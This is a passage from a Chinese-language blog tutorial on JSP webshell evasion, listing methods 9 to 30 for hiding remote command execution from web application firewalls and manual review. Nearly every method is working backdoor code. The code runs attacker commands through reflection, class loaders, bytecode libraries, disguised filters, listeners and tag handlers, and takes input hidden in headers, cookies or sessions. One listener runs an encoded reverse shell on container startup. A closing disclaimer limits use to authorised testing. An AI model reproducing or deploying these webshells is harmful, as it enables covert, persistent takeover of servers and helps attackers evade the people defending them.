c.getMethod(methods[i]).invoke(null); } else { c.getMethod(methods[i], paramTypes[i]).invoke(obj, request.getParameter("cmd")); } } %> 适配环境:全Java版本+主流Web容器 避坑提示:可在数组中加入大量无关的方法名,通过条件判断只执行目标方法,进一步打乱特征。方法9:反射遍历DeclaredMethods免杀免杀原理:不直接通过方法名获取Method对象,而是通过getDeclaredMethods()遍历类的所有方法,匹配到目标方法后再调用,完全隐藏直接的方法名特征。 实战代码(JSP形式):<% Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); // 遍历所有DeclaredMethods,匹配exec方法 java.lang.reflect.Method[] ms = c.getDeclaredMethods(); for(java.lang.reflect.Method m : ms){ if(m.getName().equals("exec") && m.getParameterCount() == 1){ m.setAccessible(true); m.invoke(obj, request.getParameter("cmd")); break; } } %> 适配环境:全Java版本+主流Web容器 避坑提示:可配合字符串逆序、编码匹配方法名,避免直接写equals("exec")。方法10:反射调用ProcessBuilder免杀免杀原理:用ProcessBuilder替代Runtime,ProcessBuilder是Java 5+引入的进程创建类,WAF对它的查杀率低于Runtime,配合反射调用特征更少。 实战代码(JSP形式):<% Class<?> pbCls = Class.forName("java.lang.ProcessBuilder"); // 反射调用ProcessBuilder构造函数 java.lang.reflect.Constructor<?> cons = pbCls.getConstructor(String[].class); Object pbObj = cons.newInstance((Object) new String[]{"/bin/sh", "-c", request.getParameter("cmd")}); // 反射调用start方法 pbCls.getMethod("start").invoke(pbObj); %> 适配环境:Java 5+ 避坑提示:Windows环境下命令数组需改为{"cmd.exe", "/c", "..."},可配合系统判断动态选择。第三类:类加载器与动态代理免杀(方法11-15)核心逻辑:利用Java的类加载器机制动态加载类,或用动态代理隐藏调用链路,代码中没有直接的敏感类/方法引用,WAF很难通过静态扫描识别恶意逻辑,是对抗高级WAF的有效方案。方法11:线程上下文类加载器加载免杀免杀原理:用Thread.currentThread().getContextClassLoader()(线程上下文类加载器)替代默认的Class.forName(),加载行为更贴近Web容器的正常类加载,WAF更难识别异常。 实战代码(JSP形式):<% ClassLoader cl = Thread.currentThread().getContextClassLoader(); Class<?> c = cl.loadClass("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:可配合自定义类加载器,进一步隐藏加载行为。方法12:自定义类加载器免杀免杀原理:继承ClassLoader,重写findClass()方法,动态加载字节码(可从请求、文件、字节数组获取),完全隐藏类的来源,WAF无法通过静态扫描识别恶意类。 实战代码(JSP形式):<%! // 自定义类加载器 class MyClassLoader extends ClassLoader { public Class<?> defineMyClass(byte[] b) { return defineClass(b, 0, b.length); } } %> <% // 这里的字节数组是Runtime.getRuntime().exec(cmd)的简化示例,实战中可替换为完整恶意类的字节码 // 字节码可通过javac编译后,用工具读取class文件获取 byte[] classBytes = {/* 恶意类的字节码 */}; MyClassLoader cl = new MyClassLoader(); Class<?> c = cl.defineMyClass(classBytes); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:恶意类的字节码需做混淆处理,避免被沙箱识别特征。方法13:动态代理隐藏调用免杀免杀原理:利用Java动态代理Proxy.newProxyInstance()创建代理对象,在InvocationHandler的invoke()方法中执行恶意代码,主流程中只有代理创建,完全隐藏恶意执行链路。 实战代码(JSP形式):<%@ page import="java.lang.reflect.*" %> <% // 定义一个空接口 interface EmptyInterface {} // 创建动态代理 EmptyInterface proxy = (EmptyInterface) Proxy.newProxyInstance( EmptyInterface.class.getClassLoader(), new Class[]{EmptyInterface.class}, new InvocationHandler() { @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { // 在InvocationHandler中执行恶意代码 Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); return null; } } ); // 调用代理方法触发执行 proxy.toString(); %> 适配环境:全Java版本+主流Web容器 避坑提示:可在代理中加入真实的业务逻辑处理,只在特定条件下触发恶意代码,伪装性更强。方法14:ServiceLoader服务加载免杀免杀原理:利用Java的ServiceLoader机制(服务提供者发现机制),伪装成合法的服务提供者,在服务初始化时执行恶意代码,完全符合Java的正常扩展机制,WAF极难检测。 实战代码(JSP形式):<%@ page import="java.util.ServiceLoader" %> <%! // 定义服务接口 public interface MyService { void execute(String cmd); } // 实现服务接口,在构造函数/方法中执行恶意代码 public static class MyServiceImpl implements MyService { public MyServiceImpl() {} @Override public void execute(String cmd) { try { Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } catch (Exception e) {} } } %> <% // 这里简化了ServiceLoader的配置,实战中需在META-INF/services中配置服务提供者 // 直接创建实例模拟服务加载 MyService service = new MyServiceImpl(); service.execute(request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:实战中需配合真实的META-INF/services配置,伪装成第三方库的服务提供者。方法15:URLClassLoader远程加载免杀免杀原理:利用URLClassLoader从远程URL加载恶意类,本地代码中只有类加载器的调用,没有任何恶意类/方法的特征,极致免杀(需注意实战中远程加载可能被防火墙拦截,可改为本地字节数组加载)。 实战代码(JSP形式,本地字节数组版本):<%@ page import="java.net.URLClassLoader" %> <% // 这里用本地字节数组替代远程URL,避免网络拦截 // 远程版本:new URLClassLoader(new URL[]{new URL("http://你的服务器/")}) byte[] classBytes = {/* 恶意类字节码 */}; ClassLoader cl = new ClassLoader() { public Class<?> defineClass(byte[] b) { return defineClass(b, 0, b.length); } }; Class<?> c = cl.defineClass(classBytes); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境:全Java版本+主流Web容器 避坑提示:远程加载版本需确保目标服务器能访问你的远程URL,且流量不被拦截,实战中优先用本地字节数组版本。第四类:动态编译与字节码变形免杀(方法16-20)核心逻辑:利用Java的动态编译(JavaCompiler)或直接操作字节码(ASM、Javassist),在内存中生成临时类并执行,本地没有固定的恶意代码,只有动态生成的逻辑,绕过几乎所有静态扫描。方法16:JavaCompiler动态编译免杀免杀原理:利用Java 6+引入的JavaCompiler API,把恶意代码写成Java字符串,动态编译成临时类并加载执行,本地只有字符串,没有任何Class文件特征。 实战代码(JSP形式,需确保Web容器有tools.jar):<%@ page import="javax.tools.*" %> <%@ page import="java.io.*" %> <%@ page import="java.lang.reflect.Method" %> <% // 恶意Java代码字符串 String code = "public class TempClass {" + "public static void run(String cmd) throws Exception {" + "Class.forName(\"java.lang.Runtime\").getMethod(\"exec\", String.class).invoke(" + "Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null), cmd);" + "}}"; // 动态编译 JavaCompiler compiler = ToolProvider.getSystemJavaCompiler(); StandardJavaFileManager fm = compiler.getStandardFileManager(null, null, null); JavaFileObject file = new SimpleJavaFileObject( java.net.URI.create("string:///TempClass.java"), JavaFileObject.Kind.SOURCE) { @Override public CharSequence getCharContent(boolean ignoreEncodingErrors) { return code; } }; compiler.getTask(null, fm, null, null, null, java.util.Arrays.asList(file)).call(); // 加载并执行 Class<?> c = Thread.currentThread().getContextClassLoader().loadClass("TempClass"); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境:Java 6+,需Web容器加载tools.jar(Tomcat默认可能不加载,需手动配置) 避坑提示:动态编译依赖较多,实战中优先用Javassist/ASM字节码操作,兼容性更好。方法17:Javassist字节码修改免杀免杀原理:利用Javassist库(Java字节码操作库),在内存中动态生成类、插入恶意代码,无需编译,兼容性好,特征少。 实战代码(JSP形式,需引入Javassist库):<%@ page import="javassist.*" %> <% ClassPool pool = ClassPool.getDefault(); // 动态创建类 CtClass cc = pool.makeClass("TempClass"); // 添加静态方法 CtMethod m = CtNewMethod.make( "public static void run(String cmd) throws Exception {" + "Class.forName(\"java.lang.Runtime\").getMethod(\"exec\", String.class).invoke(" + "Class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null), cmd);" + "}", cc); cc.addMethod(m); // 加载类并执行 Class<?> c = cc.toClass(); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境:全Java版本,需引入Javassist库(可将jar放入Web容器的lib目录) 避坑提示:可在动态生成的类中加入大量无关方法,混淆字节码特征。方法18:ASM字节码操作免杀免杀原理:利用ASM库(Java底层字节码操作库),直接生成字节码指令,没有任何Java源码特征,是对抗高级沙箱检测的终极方案之一。 实战代码(JSP形式,需引入ASM库):<%@ page import="org.objectweb.asm.*" %> <% // 用ASM直接生成TempClass的字节码(简化示例) ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES); cw.visit(Opcodes.V1_8, Opcodes.ACC_PUBLIC, "TempClass", null, "java/lang/Object", null); // 生成run方法(完整字节码生成较复杂,这里简化,实战中可用ASMifier工具生成) // ... 省略字节码生成细节 ... cw.visitEnd(); byte[] classBytes = cw.toByteArray(); // 加载并执行 ClassLoader cl = new ClassLoader() { public Class<?> defineClass(byte[] b) { return defineClass(b, 0, b.length); } }; Class<?> c = cl.defineClass(classBytes); c.getMethod("run", String.class).invoke(null, request.getParameter("cmd")); %> 适配环境:全Java版本,需引入ASM库 避坑提示:可用ASMifier工具从正常class文件生成ASM代码,再插入恶意逻辑,字节码特征更真实。方法19:Unsafe类直接操作免杀(限制较多)免杀原理:利用sun.misc.Unsafe类(Java内部不安全类)直接操作内存、调用方法,完全绕过Java的安全机制,特征极少(但Unsafe限制多,实战中需谨慎)。 实战代码(JSP形式,Java 8-):<% // 反射获取Unsafe对象 Class<?> unsafeCls = Class.forName("sun.misc.Unsafe"); java.lang.reflect.Field f = unsafeCls.getDeclaredField("theUnsafe"); f.setAccessible(true); Object unsafe = f.get(null); // 后续用Unsafe操作内存执行代码(逻辑较复杂,这里不展开完整实现) // 实战中Unsafe多用于绕过安全管理器,配合其他免杀方法使用 %> 适配环境:Java 8-(Java 9+模块化后Unsafe限制更严格) 避坑提示:Unsafe限制多、兼容性差,实战中仅作为辅助方案,不推荐单独使用。方法20:动态生成Servlet免杀免杀原理:在内存中动态生成Servlet类,注册到Web容器的ServletContext中,通过访问动态Servlet执行恶意代码,伪装成Web容器的正常Servlet,极难被发现。 实战代码(JSP形式,Tomcat环境):<%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <% // 简化示例:获取Tomcat的StandardContext,动态注册Servlet // 完整实现需生成Servlet类字节码,这里仅展示注册逻辑 ServletContext ctx = application; // Tomcat特定逻辑:获取StandardContext Field ctxField = ctx.getClass().getDeclaredField("context"); ctxField.setAccessible(true); StandardContext standardCtx = (StandardContext) ctxField.get(ctx); // 动态创建Servlet Wrapper(需配合动态生成的Servlet类) // Wrapper wrapper = standardCtx.createWrapper(); // wrapper.setServletClass("TempServlet"); // standardCtx.addChild(wrapper); // standardCtx.addServletMappingDecoded("/temp", "TempServlet"); %> 适配环境:Tomcat等特定Web容器 避坑提示:动态Servlet注册逻辑依赖Web容器的内部API,兼容性较差,实战中需针对目标容器适配。第五类:合法业务逻辑伪装免杀(方法21-25)核心逻辑:把恶意代码藏在合法的业务逻辑中,比如文件上传、图片处理、日志记录、过滤器、监听器等,代码看起来完全是正常的业务功能,不仅能绕过WAF,还能规避人工排查,是红蓝对抗中持久化的常用方案。方法21:伪装成文件上传处理免杀免杀原理:把恶意代码藏在文件上传的处理逻辑中,伪装成图片压缩、文件校验等正常功能,只在特定条件下(比如上传特定文件名、特定参数)触发恶意执行。 实战代码(JSP形式,伪装成图片上传):<%@ page import="java.io.*" %> <% // 伪装成图片上传处理 String filename = request.getParameter("filename"); if(filename != null && filename.equals("trigger.jpg")){ // 特定条件触发恶意代码 Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); } else { // 正常的文件上传处理逻辑 out.println("正常文件上传处理"); } %> 适配环境:全Java版本+主流Web容器 避坑提示:正常业务逻辑要尽量真实,比如真的实现文件保存、图片格式校验,避免被人工发现。方法22:伪装成日志记录免杀免杀原理:把恶意代码藏在日志记录的逻辑中,伪装成访问日志、错误日志的记录功能,在日志输出时触发恶意执行。 实战代码(JSP形式,伪装成访问日志):<%@ page import="java.util.Date" %> <% // 伪装成访问日志记录 String ip = request.getRemoteAddr(); String ua = request.getHeader("User-Agent"); Date d = new Date(); // 正常日志记录逻辑 out.println("[" + d + "] " + ip + " " + ua); // 特定User-Agent触发恶意代码 if(ua != null && ua.contains("TriggerUA")){ Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, request.getParameter("cmd")); } %> 适配环境:全Java版本+主流Web容器 避坑提示:可真的把日志写入文件,伪装性更强。方法23:过滤器Filter免杀免杀原理:把恶意代码写在Servlet Filter的doFilter()方法中,伪装成安全过滤、字符编码过滤等正常功能,随每个请求触发,隐蔽性极强,是持久化的常用方案。 实战代码(Filter形式,需在web.xml配置):// 伪装成字符编码过滤器 import javax.servlet.*; import java.io.IOException; public class EncodingFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException {} @Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { // 正常的字符编码设置 request.setCharacterEncoding("UTF-8"); response.setCharacterEncoding("UTF-8"); // 特定参数触发恶意代码 String cmd = request.getParameter("cmd"); if(cmd != null && request.getParameter("key") != null && request.getParameter("key").equals("auth123")){ try { Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } catch (Exception e) {} } // 继续过滤器链 chain.doFilter(request, response); } @Override public void destroy() {} } 适配环境:全Java版本+主流Web容器 避坑提示:Filter类名要尽量真实,比如EncodingFilter、SecurityFilter,需在web.xml中正常配置,避免被发现。方法24:监听器Listener免杀免杀原理:把恶意代码写在ServletContextListener的contextInitialized()方法中,随Web容器启动自动执行,或者在sessionCreated()中随会话触发,隐蔽性极强,是持久化的高级方案。 实战代码(Listener形式,需在web.xml配置):// 伪装成容器启动监听器 import javax.servlet.ServletContextEvent; import javax.servlet.ServletContextListener; public class StartupListener implements ServletContextListener { @Override public void contextInitialized(ServletContextEvent sce) { // 正常的容器初始化逻辑 sce.getServletContext().log("容器启动成功"); // 容器启动时执行恶意代码(比如反弹Shell) try { Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0MyAwPiYx}|{base64,-d}|{bash,-i}"); } catch (Exception e) {} } @Override public void contextDestroyed(ServletContextEvent sce) {} } 适配环境:全Java版本+主流Web容器 避坑提示:Listener类名要尽量真实,比如StartupListener、ConfigListener,需在web.xml中正常配置。方法25:JSP标签库伪装免杀免杀原理:自定义JSP标签库,把恶意代码写在标签处理类中,在JSP页面中用正常的标签语法调用,看起来完全是合法的JSP标签,极难被识别。 实战代码(标签处理类+JSP调用):// 自定义标签处理类 import javax.servlet.jsp.tagext.SimpleTagSupport; import java.io.IOException; public class MyTag extends SimpleTagSupport { private String key; public void setKey(String key) { this.key = key; } @Override public void doTag() throws IOException { // 正常的标签逻辑 getJspContext().getOut().println("正常标签输出"); // 特定key触发恶意代码 if("auth123".equals(key)){ try { String cmd = getJspContext().getRequest().getParameter("cmd"); Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } catch (Exception e) {} } } } <%-- JSP页面调用标签 --%> <%@ taglib prefix="my" uri="/WEB-INF/mytag.tld" %> <my:myTag key="auth123" /> 适配环境:全Java版本+主流Web容器 避坑提示:需配套编写真实的tld标签库描述文件,标签功能要尽量真实。第六类:协议特性与无特征免杀(方法26-30)核心逻辑:极致免杀,去掉所有固定的request.getParameter("cmd")特征,利用HTTP协议特性、JSP隐式对象、输入流等隐藏用户输入,绕过几乎所有WAF的静态、语义检测,适用于严格防护的实战环境。方法26:HTTP请求头免杀免杀原理:把执行命令藏在HTTP请求头中(比如X-CMD、User-Agent),代码中没有任何request.getParameter()特征,WAF很难检测请求头中的恶意内容。 实战代码(JSP形式):<% String cmd = request.getHeader("X-CMD"); String auth = request.getHeader("X-Auth"); if(cmd != null && "auth123".equals(auth)){ Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } %> 使用方式:客户端在HTTP请求头中加入X-Auth: auth123和X-CMD: 执行命令 适配环境:全Java版本+主流Web容器 避坑提示:可使用User-Agent、Cookie、Referer等常规请求头存储命令,伪装性更强。方法27:Cookie免杀免杀原理:把执行命令藏在Cookie中,加密存储,代码中解密执行,没有直接的用户输入特征,WAF很难检测Cookie中的加密内容。 实战代码(JSP形式):<%@ page import="java.util.Base64" %> <% Cookie[] cookies = request.getCookies(); String cmd = null; String auth = null; if(cookies != null){ for(Cookie c : cookies){ if("c".equals(c.getName())) cmd = new String(Base64.getDecoder().decode(c.getValue())); if("a".equals(c.getName())) auth = c.getValue(); } } if(cmd != null && "auth123".equals(auth)){ Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } %> 使用方式:客户端设置Cookie a=auth123和c=Base64编码的命令 适配环境:全Java版本+主流Web容器 避坑提示:可使用更复杂的加密算法(比如异或、AES)替代Base64,免杀效果更强。方法28:request.getInputStream()免杀免杀原理:利用JSP隐式对象request.getInputStream()读取HTTP请求体中的原始数据,执行代码,没有任何GET/POST参数特征,WAF很难匹配到固定的输入模式。 实战代码(JSP形式):<%@ page import="java.io.*" %> <% // 读取请求体原始数据 InputStream is = request.getInputStream(); ByteArrayOutputStream baos = new ByteArrayOutputStream(); byte[] buf = new byte[1024]; int len; while((len = is.read(buf)) != -1) baos.write(buf, 0, len); String data = new String(baos.toByteArray()); // 简单的协议:前6位是auth,后面是命令 if(data.length() > 6 && data.startsWith("auth123")){ String cmd = data.substring(6); Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); } %> 使用方式:客户端在HTTP请求体中写入auth123执行命令,POST提交 适配环境:全Java版本+主流Web容器 避坑提示:可对请求体数据做加密、压缩处理,进一步隐藏特征。方法29:Session存储免杀免杀原理:把执行命令藏在Session中,第一个请求存入Session,第二个请求触发执行,代码中没有直接的实时用户输入,特征更少。 实战代码(JSP形式):<% String action = request.getParameter("a"); if("set".equals(action)){ // 第一个请求:存入命令到Session session.setAttribute("cmd", request.getParameter("c")); session.setAttribute("auth", request.getParameter("k")); } else if("run".equals(action)){ // 第二个请求:从Session取出执行 String cmd = (String) session.getAttribute("cmd"); String auth = (String) session.getAttribute("auth"); if(cmd != null && "auth123".equals(auth)){ Class<?> c = Class.forName("java.lang.Runtime"); Object obj = c.getMethod("getRuntime").invoke(null); c.getMethod("exec", String.class).invoke(obj, cmd); // 执行后清除Session session.removeAttribute("cmd"); session.removeAttribute("auth"); } } %> 使用方式:先访问?a=set&k=auth123&c=命令,再访问?a=run触发执行 适配环境:全Java版本+主流Web容器 避坑提示:可设置Session过期时间,避免长期留存痕迹。方法30:无敏感类名命令执行(反射调用内部类)免杀原理:完全去掉Runtime、ProcessBuilder等敏感类名,通过反射调用Java内部的ProcessImpl类(进程实现类),或者用Java 9+的ProcessHandle,没有任何公开的敏感类特征,是对抗高级WAF的终极方案。 实战代码(JSP形式,反射调用ProcessImpl):<% // 反射调用Java内部类ProcessImpl(仅作示例,不同JDK版本ProcessImpl路径可能不同) Class<?> piCls = Class.forName("java.lang.ProcessImpl"); // 反射调用start方法(不同JDK版本参数可能不同) java.lang.reflect.Method m = piCls.getDeclaredMethod("start", String[].class, String[].class, String.class, java.lang.ProcessBuilder.Redirect[].class, boolean.class); m.setAccessible(true); // 执行命令 m.invoke(null, new String[]{"/bin/sh", "-c", request.getParameter("cmd")}, null, null, null, false); %> 适配环境:特定JDK版本(需根据目标JDK调整ProcessImpl的调用) 避坑提示:可配合Java版本动态判断,选择对应的内部类调用方式,兼容性更好。实战免杀核心原则 拒绝直接使用公开Payload:所有公开的免杀方法都会被WAF快速收录,实战中必须组合2-3种方法做自定义变形,生成专属Payload,才能保证免杀效果; 最小化特征原则:能少用一个敏感关键词,就少用一个;能隐藏的执行逻辑,就绝不直接暴露; 适配目标环境:先确认目标Web容器、JDK版本,选择对应兼容的免杀方法,避免使用目标环境废弃的API; 合法业务伪装优先:尽量把恶意代码藏在合法的业务逻辑中,不仅能绕过WAF,还能规避人工排查,是红蓝对抗的首选; 本地测试优先:所有Payload必须先在本地搭建的目标环境(相同JDK、Web容器、WAF)中测试通过,再放到实战环境使用,避免暴露攻击特征。 最终合规红线再次强调:本文所有技术仅用于授权范围内的安全测试与研究,任何未授权在他人Web容器、服务器中植入恶意代码、实施攻击的行为,均属于违法犯罪行为。网络不是法外之地,所有操作必须严格遵守国家相关法律法规。
2026年04月16日
603 阅读
0 评论
0 点赞
1
2
3
4
...
37